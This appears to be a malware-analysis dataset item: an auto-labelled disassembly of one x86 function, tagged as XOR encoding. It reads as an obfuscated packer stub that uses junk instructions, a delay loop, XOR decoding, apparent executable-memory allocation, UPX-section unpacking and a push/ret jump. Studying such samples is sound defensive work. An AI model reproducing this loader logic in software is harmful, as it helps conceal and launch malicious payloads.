Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x47e103a8
add edx, 1
not ebx
popal
sub edx, ebx
and edx, edx
mov ebx, 0
mov eax, edx
add esi, esi
add esi, edi
and edi, esi
mov ecx, eax
not esi
sub edi, 0x28189119
and edi, edi
mov edx, ecx
mov edi, esi
mov edi, 0x1cf9ef28
add esi, edi
inc ebx
mov edi, 0xa9872e15
sub esi, 0x9e72e772
cmp ebx, 0x1002883
jne 0xa789c4
or edi, esi
sub esi, edi
mov esi, edi
not edx
and edx, ebx
mov eax, 0xa78796
add edx, 0x8746bbad
sub ecx, esi
add ecx, 0x47be989
mov edi, 0xa7898a
add ecx, 1
sub esi, ecx
not ecx
mov ebx, dword [eax]
sub esi, 0x5f031201
sub esi, 0xaecf52de
and esi, edx
and ebx, 0xff
not esi
or edx, edx
xor dword [edi], ebx
add edx, edx
not esi
sub esi, 0xb41d0659
inc edi
or edx, edx
add edx, esi
inc eax
and esi, ecx
and esi, esi
add edx, esi
cmp edi, entry0
jl 0xa78a27
mov edx, esi
not ecx
not ecx
and ecx, esi
and edx, esi
sub ebx, edi
sub ebx, 1
mov ecx, 0xa7898e
or edx, edi
mov edx, esi
sub edi, 0x6176e992
mov ecx, dword [ecx]
sub edx, ebx
sub ebx, 0xd1817536
mov ecx, dword [ecx]
sub edx, 0xeb46e467
or edi, ebx
mov esi, edx
push ecx
or ebx, ebx
and ebx, edx
mov ecx, 0xa7898a
mov edi, ebx
mov edx, 0x7a400614
mov edi, ebx
mov ecx, dword [ecx]
sub esi, 0x953785f6
add ebx, edx
or ebx, esi
mov ecx, dword [ecx]
mov ebx, edi
sub edi, 1
dec edi
push 0xa78992
mov ebx, 0x4ded5eed
add esi, ebx
call ecx
sub ebx, 1
add esi, 0x4b3a463
inc esi
pop ecx
sub edi, 0x6f384ce5
mov esi, edi
mov ebx, edi
push 0xa7899f
add ebx, edx
not edi
mov esi, 0xe8227790
sub esp, 4
mov dword [esp], eax
not esi
inc ebx
sub ebx, 0xd44b58bd
call ecx
sub esi, edi
add edi, 0x23b7ca37
add edx, 0xb4ab3073
push 0x40
add edi, 0x41976f8d
or edx, edx
push 0x3000
and esi, edx
sub edi, esi
push 0x2000087b
add edi, 0x1b959da7
add ebx, edx
sub esi, ebx
push 0
dec ebx
and edi, ebx
call eax
mov edx, esi
mov ebx, edi
add eax, 0x200007f6
add ebx, 1
add ebx, 0xa91f4184
mov ecx, 0x8f2c73d7
mov ebx, 0x915c345
or esi, edx
mov dword [eax], ecx
mov edi, edx
sub ebx, 0xeca618ab
mov ecx, dword [eax]
or edx, edx
add edx, edi
cmp ecx, 0x8f2c73d7
je 0xa78b89
mov ecx, 0
mov dword [ecx], ebx
sub ebx, edx
inc ebx
not edi
or edx, edi
add ebx, ebx
inc ebx
or edx, edx
mov edi, section.UPX1
dec edx
sub edx, 0xc2dd6c9c
dec edx
mov esi, 0xa78795
mov edx, ebx
sub edx, ebx
mov ebx, 0x54cfd43e
mov ecx, 0
sub edx, ebx
add ebx, 0x6badefbd
mov eax, 0xa78796
sub ebx, edx
dec edx
lea eax, [ecx + eax]
sub ebx, 0xbda79e50
sub edx, 1
sub edx, ebx
mov eax, dword [eax]
mov edx, 0xd34c50d1
sub ebx, edx
add edx, 0x700cb953
and eax, 0xff
mov ebx, edx
sub edx, 0x11ac00ab
inc ecx
add edx, 1
not ebx
cmp ecx, 0x1f4
jne 0xa78c09
mov ecx, 0
sub ebx, edx
mov ebx, edx
or edx, edx
not ebx
not ebx
xor dword [edi], eax
sub edx, 0xce69d8
add edx, 0x9ff3e315
add edi, 2
and ebx, edx
mov ebx, edx
cmp edi, esi
jl 0xa78bbd
mov edx, ebx
inc edx
sub ebx, edx
add ebx, 0x74984785
mov ebx, edx
mov edi, section.UPX1
mov ecx, 0x72800df8
mov esi, ecx
mov esi, 0xbe288703
mov eax, section.UPX1
sub esi, 0xde95eb6c
and esi, ecx
mov esi, ecx
mov edx, 0xa78795
sub esi, ecx
or esi, ecx
sub esi, ecx
mov ebx, 0
or esi, esi
sub ecx, esi
mov bl, byte [eax]
and ecx, ecx
dec ecx
mov esi, ecx
mov byte [edi], bl
sub esi, ecx
or ecx, ecx
sub ecx, 0xaa1fe454
inc edi
inc esi
not esi
add esi, 1
add eax, 2
sub esi, 0x873ab6ab
or ecx, ecx
sub esi, 0x1bb02ea4
cmp eax, edx
jle 0xa78c74
dec esi
sub esi, 0x73f396b5
add ecx, esi
sub edx, 0x24be5f16
dec edx
and ebx, edx
push 0x8dc6a0
mov ebx, 0x8c2bd858
and ebx, edx
ret